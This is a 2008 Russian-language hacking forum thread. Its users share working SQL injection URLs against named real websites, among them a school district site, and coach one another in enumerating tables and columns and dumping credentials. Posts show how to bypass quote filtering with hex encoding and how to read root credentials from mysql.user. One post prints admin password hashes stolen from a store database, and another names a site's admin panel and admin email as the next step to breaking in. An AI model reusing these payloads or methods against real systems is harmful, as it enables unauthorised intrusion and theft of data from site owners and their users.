 |
|
26.08.2008, 07:17
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
Вот еще SQL
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,3,4,5,6,7--
-----------------
Таблица USERS
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,table_name,4,5,6,7+from+INFORM ATION_SCHEMA.TABLES--
а как её просмотреть!? 
потскажите и покажите пожалуйсто  |
|
|
26.08.2008, 07:23
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
С нами:
9420866
Репутация:
228
|
|
Сообщение от SeNaP
Вот еще SQL
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,3,4,5,6,7--
-----------------
Таблица USERS
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,table_name,4,5,6,7+from+INFORM ATION_SCHEMA.TABLES--
а как её просмотреть!?
потскажите и покажите пожалуйсто
Код:
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,name,4,5,6,7+from+users+limit+2,1--
и пересматривай лимитом
Добавляю:
e-mail админа: AtyLukes@aol.com
админка: http://www.mayorlukes.com/administrator/admin.php
еше кое-что интересное: Provided by DLG Results. Оф. сайт - http://www.dlgresults.com/
остаеца узнать пасс и залезть внутрь )...
Последний раз редактировалось USAkid; 26.08.2008 в 07:29..
|
|
|
|
26.08.2008, 07:26
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
USAkid, спасибо |
|
|
|
26.08.2008, 07:30
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
С нами:
9420866
Репутация:
228
|
|
Сообщение от SeNaP
USAkid, спасибо Для спасибо есть плюсики 
|
|
|
|
26.08.2008, 07:37
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
|
|
|
|
26.08.2008, 09:11
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
SeNaP
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,3,3,unhex(hex(version())),5,6/*
версия 4.
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,3,3,unhex(hex(concat_ws(0x3a,use r,password))),5,6+from+mysql.user/*
рут..
http://www.theenemy.com/news.php?id=-13+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
4 ver..
http://www.budd-pni.com/news.php?ID=-13+union+select+1,version(),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24/*
Последний раз редактировалось sabe; 26.08.2008 в 09:22..
|
|
|
|
26.08.2008, 11:31
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
sabe, а что вот это "unhex(hex" ? |
|
|
|
26.08.2008, 12:56
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
вот нашол SQL инж
http://www.eastbaythunder.com/news.php?id=-16+union+select+1,2,3,4,5,table_name,7+from+INFORM ATION_SCHEMA.TABLES+limit+19,1/* таблица "админ" , а как её вскрыть? :?
|
|
|
|
26.08.2008, 14:02
|
|
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
С нами:
9332069
Репутация:
92
|
|
Сообщение от SeNaP
вот нашол SQL инж
http://www.eastbaythunder.com/news.php?id=-16+union+select+1,2,3,4,5,table_name,7+from+INFORM ATION_SCHEMA.TABLES+limit+19,1/* таблица "админ" , а как её вскрыть? :?
http://www.eastbaythunder.com/news.php?id=-16+union+select+1,2,3,4,5,column_name,7+from+INFOR MATION_SCHEMA.columns+where table_name='admin'/*
Если фильтрует кавычки, то используй вместо 'admin'
0x61646d696e. Это тоже самое, но в hex.
Как вариант можешь использовать SIPT 4.0, она делает всю рутинную работу.
Вот что получилось выдрать с базы
Getting Data from table admin from database eastbayt_store
Fields admin_groups_id:admin_firstname:admin_lastname:adm in_password
[0]:1:Sandy and Keven:Torres:065b34a51dd6819e14c87d580055ac42:e7
[1]:2:Customer:Service:a619003120892efc8cf3a44c85982a ec:44
|
|
|
|
26.08.2008, 14:17
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами:
10339586
Репутация:
1396
|
|
http://www.bscs.k12.mi.us/website/index.php?subpage_id=94
User:website@localhost
Version:4.1.20 (((
Dbname:website
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
